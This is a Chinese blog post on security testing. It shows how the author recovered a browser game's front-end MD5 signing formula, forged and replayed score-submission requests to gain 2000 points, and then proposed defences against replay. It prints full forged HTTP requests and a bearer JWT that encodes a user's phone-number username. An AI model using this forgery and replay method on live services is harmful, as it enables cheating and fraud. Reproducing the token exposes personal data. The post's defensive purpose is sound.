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解讀前端js中簽名演算法偽造H5游戲加分

2020-09-10 13:06:21 企業開發

     資訊安全在我們日常開發中息息相關,稍有忽視則容易產生安全事故,對安全測驗也提出更高要求,以下是筆者親自實踐程序:

一. 打開某個數錢游戲HTML5頁面,在瀏覽器 F12 開發工具中,查看的js,如下,都壓碩訓淆:

image

如上分析是Vue.js開發的前端,Webpack打包

二. 玩游戲,通過fiddler抓包,分析分數相關請求

image

HTTP RAW詳細報文如下:

POST https://testgame.xxxx.cn/api/services/app/Game/AddGameScore HTTP/1.1

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjI2MCIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvdXNlcmRhdGEiOiJ7XCJVc2VyTmFtZVwiOlwiMTc4NDQ1NDk2MTdcIixcIkhlYWRJbWd1cmxcIjpudWxsLFwiTmlja05hbWVcIjpcIjE3ODQ0NTQ5NjE3XCIsXCJT2XhcIjowfSIsInN1YiI6IjI2MCIsImp0aSI6IjE4MzNiYTUzLWJiYjQtNGE4Yi1hNDFmLWEzNjQ2MjU1YThiMSIsImlhdCI6MTU4MTY0NzYzMywibmJmIjoxNTgxNjQ3NjMzLCJleHAiOjE1ODE3MzQwMzMsImlzcyI6IlZQSG9ybm9yIiwiYXVkIjoiVlBIb3Jub3IifQ.rArdySnm5mCiYrm_QanbGZE50Aw6PQINOvCZl7FQ3KA

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Accept: */*

Accept-Language: zh-CN

Content-Type: application/json

Content-Length: 87

Expect: 100-continue

Connection: Keep-Alive

{"id":1626,"gamescore":60,"s":"c0cb28260b42bc14808689782151e112","invitationCode":""}


HTTP/1.1 200 OK

Server: openresty/1.13.6.2

Date: Fri, 14 Feb 2020 03:54:48 GMT

Content-Type: application/json; charset=utf-8

Connection: keep-alive

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Content-Length: 206

{"result":{"isWin":true,"score":5,"currentScore":43,"bestScore":43,"bestRank":3,"dayLotteryCount":98,"winningId":0},"targetUrl":null,"success":true,"error":null,"unAuthorizedRequest":false,"__abp":true}


三. 從抓包結果字面AddGameScore 意思,分析是增加游戲分數用關鍵字AddGameScore,在加載js檔案中搜索, js可以先美化

image

http://xxxx.cn/js/chunk-2c4ee547.c5d8aab9.js

在檔案chunk-2c4ee547.c5d8aab9.js中 搜索AddGameScore,第一處

clipboard

第二處

clipboard

Webpack可以混淆前端js代碼,但不可能混淆后端介面地址,

從以上2處搜索,AddGameScore是后臺介面, 我們看到 scoreUrl 標識,再次搜索scoreUrl,

clipboard

對做過前端vue開發同學,看到代碼如上這是一個發請求的地方,引數也看到分別是4個,第二個gamescore分數,第三個引數s不明白,但看Value是三元運算式, 看值n是 accessToken, 計算方式是Md5的哈希,演算法是:

t分數+"|"+accessToken的按.拆分第2個元素+"|"+windows.pubParams.id

我們去控制臺 執行下 windows.pubParams.id 得到 1626

image

從之前抓包請求中,分析access token 是訪問token,accessToken的按.拆分第2個元素,如下加粗

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjI2MCIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvdXNlcmRhdGEiOiJ7XCJVc2VyTmFtZVwiOlwiMTc4NDQ1NDk2MTdcIixcIkhlYWRJbWd1cmxcIjpudWxsLFwiTmlja05hbWVcIjpcIjE3ODQ0NTQ5NjE3XCIsXCJT2XhcIjowfSIsInN1YiI6IjI2MCIsImp0aSI6IjE4MzNiYTUzLWJiYjQtNGE4Yi1hNDFmLWEzNjQ2MjU1YThiMSIsImlhdCI6MTU4MTY0NzYzMywibmJmIjoxNTgxNjQ3NjMzLCJleHAiOjE1ODE3MzQwMzMsImlzcyI6IlZQSG9ybm9yIiwiYXVkIjoiVlBIb3Jub3IifQ.rArdySnm5mCiYrm_QanbGZE50Aw6PQINOvCZl7FQ3KA


四. 偽造HTTP的加分請求

請求引數s的值是

2000|rArdySnm5mCiYrm_QanbGZE50Aw6PQINOvCZl7FQ3KA|1626

在網站加密https://md5jiami.51240.com/

clipboard

s的值是c0cd28260b42bc14808689782151e112, 最后我們成功 加分2000,如下 HTTP RAW

POST https://xxxx.cn/api/services/app/Game/AddGameScore HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjI2MCIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvdXNlcmRhdGEiOiJ7XCJVc2VyTmFtZVwiOlwiMTc4NDQ1NDk2MTdcIixcIkhlYWRJbWd1cmxcIjpudWxsLFwiTmlja05hbWVcIjpcIjE3ODQ0NTQ5NjE3XCIsXCJTZXhcIjowfSIsInN1YiI6IjI2MCIsImp0aSI6IjE4MzNiYTUzLWJiYjQtNGE4Yi1hNDFmLWEzNjQ2MjU1YThiMSIsImlhd4I6MTU4MTY0NzYzMywibmJmIjoxNTgxNjQ3NjMzLCJleHAiOjE1ODE3MzQwMzMsImlzcyI6IlZQSG9ybm9yIiwiYXVkIjoiVlBIb3Jub3IifQ.rArdySnm5mCiYrm_QanbGZE50Aw6PQINOvCZl7FQ3KA
Accept: */*
Accept-Language: zh-CN
Accept-Encoding: GZIP
Content-Type: application/json
Expect: 100-continue
Connection: Keep-Alive

{"id":1626,"gamescore":2000,"s":"c0cd28260b42bc14808689782151e112","invitationCode":""}


HTTP/1.1 200 OK

Server: openresty/1.13.6.2
Date: Fri, 14 Feb 2020 02:51:04 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN

{"result":{"isWin":true,"score":5,"currentScore":2000,"bestScore":2000,"bestRank":1,"dayLotteryCount":99,"winningId":0},"targetUrl":null,"success":true,"error":null,"unAuthorizedRequest":false,"__abp":true}

我們看到HTTP Response 的JSON回傳 currentScore:2000, 我們成功為這個游戲增加了2000分

重放攻擊(Replay Attacks)又稱重播攻擊、回放攻擊,是指攻擊者發送一個目的主機已接收過的包,來達到欺騙系統的目的,主要用于身份認證程序,破壞認證的正確性,重放攻擊可以由發起者,也可以由攔截并重發該資料的敵方進行,攻擊者利用網路監聽或者其他方式盜取認證憑據,之后再把它重新發給認證服務器,重放攻擊在任何網路通程序中都可能發生,是計算機世界黑客常用的攻擊方式之一,

并可以重復請求HTTP,replay的攻擊,如下圖來自fiddler工具

image

以約20個HTTPS請求是成功

最近在游戲排行版,上版第一名,被成功刷分2000分

clipboard

解決方案:

1. 防止Replay攻擊,前后端簽名邏輯加入時間戳timestamp, 驗簽核對時間范圍內timestamp,需要前端配合修改,

增加攻擊難度, 如微信的https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=4_3

時間戳

“時戳”──代表當前時刻的數

基本思想──A接收一個訊息當且僅當其包含一個對A而言足夠接近當前時刻的時戳

原理──重放的時戳將相對遠離當前時刻

時鐘要求──通信各方的計算機時鐘保持同步

處理方式──設定大小適當的時間窗(間隔),越大越能包容網路傳輸延時,越小越能防重放攻擊

適用性──用于非連接性的對話(在連接情形下雙方時鐘若偶然出現不同步,則正確的資訊可能會被誤判為重放資訊而丟棄,而錯誤的重放資訊可能會當作最新資訊而接收)

還有兩種方法Replay攻擊

序號

通信雙方通過訊息中的序列號來判斷訊息的新鮮性

要求通信雙方必須事先協商一個初始序列號,并協商遞增方法

提問與應答

“現時”──與當前事件有關的一次性亂數N(互不重復即可)

基本做法──期望從B獲得訊息的A 事先發給B一個現時N,并要求B應答的訊息中包含N或f(N),f是A、B預先約定的簡單函式

原理──A通過B回復的N或f(N)與自己發出是否一致來判定本次訊息是不是重放的

時鐘要求──無

適用性──用于連接性的對話

2. 服務端業務邏輯規則限制來防范,向上就是整個平臺風控管理

3. HTTP介面限流,禁止單個用戶/ip頻繁請求同對介面

4. 單個用戶頻繁請求,使用行為驗證碼驗證一起提交

5. 前端UglifyJS2提高混淆,使用屬性混淆,詳細參考

https://github.com/mishoo/UglifyJS2#cli-mangling-property-names---mangle-props

效果如下

image


總結

對于做過軟體開發的工程師,瀏覽器分析前端代碼與抓取HTTP請求分析服務端請求,來偽造請求 加分已不是難事,前端,服務端安全防范,Web安全測驗 任重道遠,


今天先到這兒,希望對云原生,技術領導力, 企業管理,系統架構設計與評估,團隊管理, 專案管理, 產品管管,團隊建設 有參考作用 , 您可能感興趣的文章:
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作者:Petter Liu
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